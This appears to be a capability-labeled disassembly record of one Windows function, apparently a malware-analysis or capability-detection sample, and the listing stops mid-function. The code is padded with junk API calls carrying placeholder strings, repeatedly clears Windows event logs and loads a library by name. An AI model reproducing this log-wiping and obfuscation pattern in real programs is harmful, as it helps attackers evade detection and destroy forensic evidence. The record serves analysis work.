Function at 0x40d5e0
Capabilities:
Access the windows event log
Clear windows event logs
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rax, qword [0x004cc250]
cmp dword [rax], 0
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rdx
je 0x40e55c
mov rax, qword [0x004cbec0]
mov rsi, qword [0x004cc440]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov qword [rsp + 0x28], rax
call rax
mov rax, qword [0x004cbba0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc5c2cdca
mov rax, qword [0x004cbcf0]
mov dword [rax], 0x4205e333
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov qword [rsp + 0x68], rax
call rax
mov ecx, 0x7f8bb5c8
call fcn.00413350
mov rdi, qword [0x004cc160]
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rdi], eax
call r12
mov r10, qword [0x004cc4c0]
mov rsi, qword [0x004cbe80]
mov ecx, 0xccee2f86
mov eax, dword [r10]
mov dword [rsi], eax
mov rax, qword [0x004cc330]
mov rsi, qword [0x004cbc00]
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00413350
mov rsi, qword [0x004cbc20]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cc3e0]
mov rsi, qword [0x004cbd90]
mov eax, dword [rax]
mov dword [rsi], eax
call r12
mov rax, qword [0x004cbe30]
mov ecx, 0x680ef684
mov dword [rax], 0xcf5da6c9
call fcn.00413350
mov rdx, qword [0x004cc350]
xor ecx, ecx
mov rbp, qword [0x004cbd60]
mov rsi, qword [0x004cbc90]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov dword [rdx], eax
mov rax, qword [0x004cbc40]
mov dword [rbp], 0xc2e0421c
mov eax, dword [rax]
mov dword [rsi], eax
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x38], rax
call rax
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r15
mov ecx, 0x7b0a828e
call fcn.00413350
mov rsi, qword [0x004cbc70]
lea rdx, str.Quae_quia_atque_consequatur_autem_illo_quidem_aut
lea rcx, str.Ab_qui_et_officiis_repellat
mov dword [rsi], eax
mov rax, qword [0x004cbc30]
mov rsi, qword [0x004cbe70]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cbde0]
mov rsi, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [rax], 0xd2339782
call rsi
mov rax, qword [0x004cbcc0]
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rax], 0x14f8e048
call r13
mov rax, qword [0x004cbec0]
mov r9, qword [0x004cc200]
xor ecx, ecx
mov rdx, qword [0x004cbea0]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r9]
mov rdx, qword [0x004cc070]
mov dword [rdx], eax
mov rax, qword [0x004cbe30]
mov dword [rax], 0xcd8ffc56
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x30], rax
call rax
mov rax, qword [0x004cc400]
mov rdx, qword [0x004cc380]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [str._mf]
mov ecx, 0x33672677
mov dword [rax], 0x9d030d90
call fcn.00413350
mov rdx, qword [0x004cc090]
lea rcx, str.DrAbrahamPollich
mov dword [rdx], eax
lea rdx, str.Blanditiis_nulla_consequatur_natus_aliquam_omnis_et
call rsi
mov rax, qword [0x004cc420]
mov rdx, qword [0x004cc470]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x28]
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x004cbe90]
mov ecx, 0xc0692704
mov dword [rax], 0x3c6d18ff
call fcn.00413350
mov rdx, qword [0x004cc050]
mov dword [rdi], 0xafb8f174
mov rdi, qword [0x004cbe20]
mov dword [rdx], eax
mov rax, qword [0x004cbca0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc210]
mov edx, dword [rax]
mov rax, qword [0x004cc1d0]
mov dword [rax], edx
mov rax, qword [0x004cc400]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc2f0]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x38]
call rax
mov ecx, 0x3f3e67c0
call fcn.00413350
mov rdi, qword [0x004cbd10]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [0x004cbc80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2b0]
mov dword [rdx], eax
mov rax, qword [0x004cbdd0]
mov rdx, qword [0x004cc0a0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbdb0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbda0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov qword [rsp + 0x48], rax
call rax
mov rax, qword [0x004cbe80]
mov rdx, qword [0x004cc0f0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x004cc120]
mov dword [rax], 0xb6410234
mov rax, qword [0x004cc130]
mov edx, dword [rax]
mov rax, qword [0x004cc4a0]
mov dword [rax], edx
mov rax, qword [0x004cc090]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc70]
lea rcx, str.Aut_sed_aperiam_et_aliquid_quo_qui_rerum
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cc110]
mov rdx, qword [0x004cbd10]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc1a0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc190]
mov r14, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc360]
mov dword [rax], 0xa9866472
call r14
mov rax, qword [0x004cc110]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc390]
mov dword [rax], edx
mov rax, qword [0x004cc050]
mov rdx, qword [0x004cc470]
mov dword [rax], 0x3e09d8de
mov rax, qword [0x004cc0b0]
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cbcf0]
mov dword [rax], 0x767b961b
mov rax, qword [0x004cc3a0]
mov dword [rax], 0x70711314
mov rax, qword [0x004cc2d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3b0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004cc060]
xor ecx, ecx
mov dword [rax], 0xd5434a3
call r15
mov rax, qword [0x004cc080]
xor ecx, ecx
mov dword [rax], 0xb95d1419
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbd00]
xor ecx, ecx
mov dword [rax], 0xd6a0b3ab
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.ProfCarletonSchmelerI
mov qword [rsp + 0x50], rax
call rax
mov r9, qword [0x004cc200]
mov rdx, qword [0x004cbcc0]
xor ecx, ecx
mov eax, dword [r9]
mov dword [rdx], eax
call r14
xor ecx, ecx
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
call rbp
mov r10, qword [0x004cc4c0]
xor edx, edx
xor ecx, ecx
mov dword [r10], 0xc998dfbd
call r13
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov rax, qword [0x004cc490]
mov r14, qword [0x004cc430]
mov ecx, 0xe1d983a6
mov eax, dword [rax]
mov dword [r14], eax
call fcn.00413350
mov rdx, qword [0x004cbe70]
mov ecx, 0x23153bea
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc410]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cc0f0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc090]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cbe30]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x786aa83a
call r12
mov rax, qword [0x004cc070]
mov rdx, qword [0x004cbe80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cc3c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc330]
lea rcx, str.JessieMillsI
mov dword [rdx], eax
mov rax, qword [0x004cc2e0]
mov edx, dword [rax]
mov rax, qword [0x004cbcb0]
mov dword [rax], edx
lea rdx, str.Sunt_temporibus_quam_amet_porro_similique_ut_tempore_praesentium_asperiores_quisquam_ex
call rsi
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.JailynLowe
mov qword [rsp + 0x60], rax
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004cc2f0]
mov ecx, dword [rax]
call fcn.00413350
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cbba0]
mov dword [rax], 0x5af079fb
mov rax, qword [0x004cbe00]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1a0]
xor edx, edx
mov dword [rax], 0xf2d726f
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cbd00]
lea rdx, str.Nulla_ut_illo_consectetur
xor ecx, ecx
mov dword [rax], 0x55974647
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbdf0]
xor ecx, ecx
mov dword [rax], 0x41df6494
call r15
xor edx, edx
lea rcx, str.RashawnEmmerich
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc380]
mov rdx, qword [0x004cc440]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbe80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc150]
mov r9, qword [0x004cc200]
lea rcx, str.TyraHerzogIII
mov dword [rdx], eax
mov rax, qword [0x004cc0d0]
mov rdx, qword [0x004cbd90]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc1c0]
xor edx, edx
mov eax, dword [rax]
mov dword [r9], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov qword [rsp + 0x78], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
xor ecx, ecx
call r15
mov rax, qword [0x004cc250]
cmp dword [rax], 0x9e60
jle 0x40e55c
mov rax, qword [0x004cc060]
mov rdx, qword [0x004cc190]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r12
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cc470]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [0x004cc1b0]
mov dword [r14], eax
mov rax, qword [0x004cbd70]
mov dword [rax], 0xf648fb0e
mov rax, qword [0x004cbc00]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc050]
lea rcx, str.Nulla_esse_incidunt_ut_at_quia_a_vitae_ut_et_fuga_consequatur
mov dword [rdx], eax
mov rax, qword [0x004cbcd0]
lea rdx, str.Facere_pariatur_natus_est_ut_dolorum_quod_atque_dolorum
mov dword [rax], 0x48139b0b
call rsi
mov r11, qword [0x004cbd50]
mov rax, qword [0x004cbbd0]
mov rdx, qword [0x004cbe30]
mov dword [rax], 0xa9e3a632
mov eax, dword [r11]
mov dword [rdx], eax
mov rax, qword [0x004cc440]
mov ecx, dword [rax]
call fcn.00413350
lea rdx, str.Ut_ducimus_nostrum_aperiam
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0x233aa464
call fcn.00413350
mov rdx, qword [0x004cbca0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbda0]
mov rdx, qword [0x004cc060]
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Non_laboriosam_maiores_asperiores
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbd30]
xor ecx, ecx
mov dword [rax], 0x134e4948
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004cc380]
mov r9, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov r14, qword [0x004cc370]
mov dword [rax], 0xb7c7ba31
mov rax, qword [0x004cc490]
mov qword [rsp + 0x88], r9
mov eax, dword [rax]
mov dword [r14], eax
call r9
mov rax, qword [0x004cc190]
mov rdx, qword [0x004cc2b0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r13
mov rax, qword [0x004cc2e0]
xor ecx, ecx
mov r13, qword [0x004cc1e0]
mov rdx, qword [0x004cc240]
lea r8, str.TonyKirlin
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cbc90]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r14]
mov rdx, qword [0x004cbe20]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov ecx, 0x87c4763d
call fcn.00413350
mov rdx, qword [0x004cbea0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc470]
mov dword [rax], 0x4c618bc5
mov rax, qword [rsp + 0x70]
call rax
lea rdx, str.DrBrownDaughertyI
lea rcx, str.MarcStoltenberg
call rsi
mov rax, qword [0x004cbc80]
mov rdx, qword [0x004cbd90]
xor r8d, r8d
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc0a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xfa9a0bbd
mov rax, qword [0x004cc180]
mov dword [rax], 0x93790334
call r12
mov ecx, 0x615af5cf
call fcn.00413350
mov rdx, qword [0x004cbde0]
mov ecx, 0x149cc1e4
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd90]
xor ecx, ecx
mov dword [r14], 0x9ddde90c
mov dword [rdx], eax
xor edx, edx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov ecx, 0xec403a2b
call fcn.00413350
mov rdx, qword [0x004cbc00]
mov ecx, 0xb76e82de
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc140]
lea rcx, str.JovanBrakus
mov dword [rdx], eax
mov rax, qword [0x004cc0a0]
mov rdx, qword [0x004cc3c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc3d0]
mov rdx, qword [0x004cbce0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rdx, qword [0x004cbd20]
mov dword [rdx], eax
lea rdx, str.Repudiandae_error_quis_quis_at_non_ut
call rsi
mov ecx, 0x87143530
call fcn.00413350
mov rdx, qword [0x004cbd40]
lea rcx, str.WinonaMedhurst
mov dword [rdx], eax
mov rax, qword [0x004cc310]
xor edx, edx
mov dword [rax], 0x19c40af5
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc070]
mov rdx, qword [0x004cbca0]
mov ecx, 0x17bd7133
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbc90]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbd20]
xor edx, edx
mov dword [rax], 0x8ed184d6
mov rax, qword [0x004cc1c0]
mov dword [rax], 0x6a7cebfe
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004cc120]
xor ecx, ecx
mov dword [rax], 0xbb05b2b3
mov rax, qword [0x004cbcc0]
mov dword [rax], 0xbb05b2b3
mov rax, qword [rsp + 0x38]
call rax
mov ecx, 0xcdf2cc1f
call fcn.00413350
mov rdx, qword [0x004cbd10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc130]
mov ecx, dword [rax]
call fcn.00413350
mov r10, qword [0x004cbbe0]
mov r14, qword [0x004cbed0]
xor r8d, r8d
mov rdx, qword [0x004cc0f0]
mov dword [r14], eax
mov eax, dword [r10]
mov dword [rdx], eax
mov eax, dword [r13]
mov rdx, qword [0x004cc2d0]
mov dword [rdx], eax
mov rax, qword [0x004cc300]
mov rdx, qword [0x004cbc20]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbba0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xb42418ae
call rdi
mov rax, qword [0x004cc2d0]
xor ecx, ecx
mov dword [rax], 0xd445d19c
call rbp
mov r12, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Recusandae_in_hic_ullam_placeat_impedit
lea rcx, str.Aut_cumque_nostrum_voluptatem_explicabo_ratione_et
call r12
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rbp
mov rax, qword [0x004cbe70]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc310]
xor ecx, ecx
mov dword [rdx], eax
mov eax, dword [r14]
mov rdx, qword [0x004cbcd0]
mov dword [rdx], eax
mov rax, qword [0x004cbbf0]
mov rdx, qword [0x004cbd70]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc320]
mov dword [rax], 0xd3871328
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cc400]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc70]
mov ecx, 0xb1bbf724
mov dword [rdx], eax
mov rax, qword [0x004cbc30]
mov edx, dword [rax]
mov rax, qword [0x004cbbc0]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbd30]
lea rcx, str.JordaneGleason
mov dword [rdx], eax
lea rdx, str.CleoraSchaefer
call rsi
mov rax, qword [0x004cbe40]
xor edx, edx
lea rcx, str.DrJustonZboncakJr
mov dword [rax], 0xdf961cdf
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbda0]
mov rdx, qword [0x004cc130]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbc90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc180]
mov ecx, 0x5835b0da
mov dword [r14], eax
mov eax, dword [r13]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc3e0]
lea rcx, str.ChetTromp
mov dword [rdx], eax
lea rdx, str.MrsEstherKiehn
call r12
xor ecx, ecx
call r15
mov rax, qword [0x004cc080]
mov rdx, qword [0x004cbd90]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
lea r8, str.Sed_fugit_aliquid_dolore_doloremque_est_ipsam_temporibus_iure_facere
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r13, qword [0x004cc0e0]
mov rdx, qword [0x004cbc20]
xor ecx, ecx
mov eax, dword [r13]
mov dword [rdx], eax
call rbx
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc400]
mov r10, qword [0x004cbbe0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r10], eax
call rbx
mov rax, qword [0x004cc120]
xor ecx, ecx
mov dword [rax], 0xd409ca89
mov rax, qword [0x004cc240]
mov dword [rax], 0x2bc31a18
mov rax, qword [0x004cc360]
mov dword [rax], 0x9c1d09aa
call rbx
mov rax, qword [0x004cbce0]
xor edx, edx
lea rcx, str.Ad_officiis_ut
mov dword [rax], 0x74d94626
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0x9a5be154
call fcn.00413350
mov rdx, qword [0x004cbcd0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc3a0]
mov rdx, qword [0x004cbca0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cbc40]
mov rdx, qword [0x004cc300]
lea rcx, str.FannyLesch
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cc110]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd20]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [0x004cc450]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x9262b118
mov rax, qword [0x004cbdd0]
mov dword [rax], 0x10c4902
call rdi
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc70]
mov r11, qword [0x004cbd50]
lea rcx, str.Doloribus_pariatur_facilis_enim_dolorem
mov rbx, qword [0x004cc470]
mov eax, dword [rax]
mov edx, dword [r11]
mov dword [rbx], eax
mov rax, qword [0x004cc460]
mov dword [rax], edx
lea rdx, str.EvelynLindgren
call r12
mov rax, qword [0x004cc060]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cbe00]
mov eax, dword [rax]
mov dword [rbx], eax
mov rbx, qword [0x004cbc10]
mov rax, qword [rsp + 0x40]
mov dword [rbx], 0xdd461d5e
call rax
mov ecx, 0xf91ca931
call fcn.00413350
mov rdi, qword [0x004cc080]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cc3f0]
mov rdi, qword [0x004cc2e0]
xor ecx, ecx
lea rdx, str.Corrupti_ducimus_natus_ab_quia_dolor_accusamus_nostrum_quibusdam_sequi_nam_omnis_vitae
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [rsp + 0x50]
call rax
lea r8, str.JaydonBotsford
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
lea rdx, str.DarrylMiller
lea rcx, str.Ut_animi_est_est_deserunt_facere_nihil_delectus_temporibus_ab
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r9, qword [rsp + 0x88]
xor ecx, ecx
call r9
mov rax, qword [0x004cbdc0]
xor ecx, ecx
mov dword [rax], 0x692d2e89
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x004cbc80]
mov rsi, qword [0x004cbe80]
mov ecx, 0x145257d9
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cc480]
mov rsi, qword [0x004cbec0]
mov dword [rax], 0x2fc75990
mov rax, qword [0x004cc3b0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cbc90]
mov dword [rax], 0x33ef9b91
call fcn.00413350
mov r11, qword [0x004cbd50]
mov rsi, qword [0x004cc3a0]
mov ecx, dword [r13]
mov dword [r11], eax
mov rax, qword [0x004cc300]
mov edx, dword [rax]
mov rax, qword [0x004cc1f0]
mov dword [rax], edx
mov rax, qword [0x004cbdf0]
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00413350
mov rsi, qword [0x004cc410]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc330]
mov ecx, 0x6f81ea1c
mov dword [rax], 0x6d0d9442
call fcn.00413350
mov rsi, qword [0x004cbc80]
xor ecx, ecx
mov dword [rsi], eax
call r15
mov rax, qword [0x004cc120]
mov dword [rbx], 0x71273ad3
mov dword [rax], 0x2395d083
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x40e580
mov qword [rsp + 0x38], 0
jmp 0x40fa98
mov rax, qword [0x004cc250]
cmp dword [rax], 0x4e
jle 0x40edc3
mov rax, qword [0x004cbed0]
mov rbx, qword [0x004cc060]
mov qword [rsp + 0x60], r10
xor ecx, ecx
mov dword [rax], 0x5ec3acff
mov rax, qword [0x004cc3a0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov qword [rsp + 0x28], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov ecx, 0x49556d5c
call fcn.00413350
mov rdx, qword [0x004cbd30]
mov ecx, 0xbc58ef5f
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc400]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x30]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.ShannaHane
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x38], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbc0]
mov dword [rdx], eax
mov rax, qword [0x004cbe10]
mov ecx, dword [rax]
call fcn.00413350
mov rbp, qword [0x004cc240]
mov rsi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rbp], eax
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov ecx, 0x3bc5f109
call fcn.00413350
mov rdx, qword [0x004cc450]
mov r14, qword [0x004cbc70]
lea rcx, str.MrsBrandynDaugherty
mov r11, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov dword [rdx], eax
mov rax, qword [0x004cbca0]
mov qword [rsp + 0x50], r11
mov edx, dword [rax]
mov rax, qword [0x004cc300]
mov dword [rax], edx
mov rax, qword [0x004cbc10]
mov edx, dword [r14]
mov dword [rax], 0xb10fc871
mov rax, qword [0x004cc170]
mov dword [rax], 0x6de67386
mov rax, qword [0x004cbeb0]
mov dword [rax], edx
xor edx, edx
call r11
mov r9, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.SpencerKshlerin
lea rcx, str.MandyLoweIII
mov qword [rsp + 0x58], r9
call r9
mov rax, qword [0x004cbdb0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc190]
mov r13, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbc80]
xor edx, edx
mov dword [rax], 0x25a7ba07
call r13
xor edx, edx
lea rcx, str.DrMuhammadHuelI
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
xor edx, edx
lea rcx, str.JuwanAbernathy
call rdi
mov ecx, 0x19fc9d9d
call fcn.00413350
mov r15, qword [0x004cc0c0]
mov ecx, 0xaebcd761
mov dword [r15], eax
call fcn.00413350
mov r12, qword [0x004cbde0]
mov ecx, 0x5dad113
mov dword [r12], eax
call fcn.00413350
mov ecx, 0xbd9103d7
mov dword [r12], eax
call fcn.00413350
mov ecx, 0x8cbe305d
mov dword [rbp], eax
call fcn.00413350
mov rdx, qword [0x004cc1c0]
mov ecx, 0x4b0c4717
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc0b0]
lea rcx, str.Iusto_est_mollitia_vel_et_harum_similique
mov dword [rdx], eax
xor edx, edx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004cc0a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x8679a73a
call r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.KrisCrooks
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov ecx, 0xf8dbcec4
call fcn.00413350
mov rdx, qword [0x004cbbd0]
